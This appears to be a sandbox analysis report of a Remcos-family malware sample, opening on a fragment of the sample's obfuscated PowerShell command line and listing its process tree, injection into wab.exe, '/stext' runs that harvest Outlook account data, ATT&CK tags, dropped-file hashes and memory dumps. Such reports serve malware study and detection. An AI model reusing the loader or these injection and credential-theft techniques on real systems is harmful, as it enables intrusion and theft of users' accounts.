Stillb=Frugtsu$Extendai blackwcDelasseh Rhagont Diktath.ondepeyunapproo PensiogCaelianrmer ymaa Komedipprogramhudspekui Agelasadiligen. ReaddisUprootau S.mmenbPhotolosSlopekotSall,wnrundermiiBeshowenRescripgMe ingo(inds ns$Tyra,nis SvejsevOpfrendeSunetted VaporieCtenoph,Tred,te$BeredskLTran.ceyPrele,tkAnticris Ba kspaBnnespil Similii EtagebgUni,plagEndang rBls rkleFrontalrRegnvaa)Frerska ');Druides $Scissile;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snitmnstrets.Str && echo t"
      4⤵
      PID:1824
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1544
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\apcbuiqkenpvhqadlwjsjh"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4672
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\krhlvablsvharwopcgvuutdfu"
        5⤵
        
        PID:1052
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\krhlvablsvharwopcgvuutdfu"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4272
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\nmuewtmfgdzftcltlrivfyxodugrw"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 51b989a6829019dcb3d97683fd92fc0851cf77ecd767b1f1b6c12f6027a602e8
MD5 355b08b710c958cb4c83578d4d569bcd
SHA1 643e0d613df56885bee20b239dced52fbc25dd8a
SHA512 9f0ac6b7d0a5ac43bd572eb4e63a70eb85549d3a3df7636595caddbb8ccd9cdc6fb01af23d8b7cedcbd030a307156e13cc94095a0e0244763de330e5390e55c4
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_vyqmn3bj.clp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vyqmn3bj.clp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

apcbuiqkenpvhqadlwjsjh

Path C:\Users\Admin\AppData\Local\Temp\apcbuiqkenpvhqadlwjsjh
Size 4KB
SHA256 2bd023dd922e93f6c6f471751ae97a1fd24a93aa4230e53ac91b8c37dab9b185
MD5 463b5cfc270ed672e140fc2c1a25aec1
SHA1 23e37a49996b1208888e054fab11aa1e1a81f649
SHA512 b0fa0425dc462fa10a56fb28f36b84f3a0e6426922c1fd37e56c4406e713a00aef2bbc04024f06133d1f63960a97372feb32fd4ebf43105b9d9823f37820b4b6
SSDEEP 48:wvvv0QCxfvvcQCxfdvv0QCxBvv0QCxakvv0QC7:mvQxvYp1vQPvQbvQ7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Snitmnstrets.Str

Path C:\Users\Admin\AppData\Roaming\Snitmnstrets.Str
Size 438KB
SHA256 4bc17900b72f622b0715229160df4b93d51fa9a0a20f8681be08b8be96aacd50
MD5 8728fa76136af5eaf5a3fb2b5bf7a2aa
SHA1 16be00e4ad84e792d8882305ccf83928200be403
SHA512 e074cc191139296e3137937d4762ffc1154fb8a04709d07b1b24dfc0b6ecac02e0d7e4195701fdcea453507a0be1e91b4ff22578383b92b5f4cbd975d1a5167a
SSDEEP 6144:W79DvNorL8aE9pfHf703c6j0mP7S7se9/VEbIiH+fQVWj0YkKerEdKyz:WpDmk/pf/7f6gmAseFmbIiH+fQVWx
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1544-82-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-76-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-91-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-85-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-44-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-79-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-97-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-94-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-73-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-71-0x000000001FA00000-0x000000001FA19000-memory.dmp

Download

memory/1544-72-0x000000001FA00000-0x000000001FA19000-memory.dmp

Download

memory/1544-68-0x000000001FA00000-0x000000001FA19000-memory.dmp

Download

memory/1544-100-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-45-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1544-103-0x0000000000600000-0x0000000001854000-memory.dmp

Download

memory/1828-51-0x00007FFB98F80000-0x00007FFB99A41000-memory.dmp

Download

memory/1828-42-0x00007FFB98F83000-0x00007FFB98F85000-memory.dmp

Download

memory/1828-3-0x000001C4E7990000-0x000001C4E79B2000-memory.dmp

Download

memory/1828-13-0x00007FFB98F80000-0x00007FFB99A41000-memory.dmp

Download

memory/1828-2-0x00007FFB98F83000-0x00007FFB98F85000-memory.dmp

Download

memory/1828-14-0x00007FFB98F80000-0x00007FFB99A41000-memory.dmp

Download

memory/1828-41-0x00007FFB98F80000-0x00007FFB99A41000-memory.dmp

Download

memory/4272-57-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4272-55-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4272-62-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4504-21-0x0000000005FF0000-0x0000000006056000-memory.dmp

Download

memory/4504-33-0x0000000006780000-0x00000000067CC000-memory.dmp

Download

memory/4504-40-0x0000000009170000-0x000000000B72F000-memory.dmp

Download

memory/4504-38-0x0000000008BC0000-0x0000000009164000-memory.dmp

Download

memory/4504-17-0x0000000002E20000-0x0000000002E56000-memory.dmp

Download

memory/4504-37-0x00000000079B0000-0x00000000079D2000-memory.dmp

Download

memory/4504-36-0x0000000007A20000-0x0000000007AB6000-memory.dmp

Download

memory/4504-35-0x0000000006CF0000-0x0000000006D0A000-memory.dmp

Download

memory/4504-34-0x0000000007F90000-0x000000000860A000-memory.dmp

Download

memory/4504-18-0x0000000005950000-0x0000000005F78000-memory.dmp

Download

memory/4504-32-0x0000000006750000-0x000000000676E000-memory.dmp

Download

memory/4504-31-0x00000000060B0000-0x0000000006404000-memory.dmp

Download

memory/4504-19-0x0000000005890000-0x00000000058B2000-memory.dmp

Download

memory/4504-20-0x0000000005F80000-0x0000000005FE6000-memory.dmp

Download

memory/4672-54-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4672-61-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4672-56-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4796-58-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4796-59-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4796-60-0x0000000000400000-0x0000000000424000-memory.dmp

Download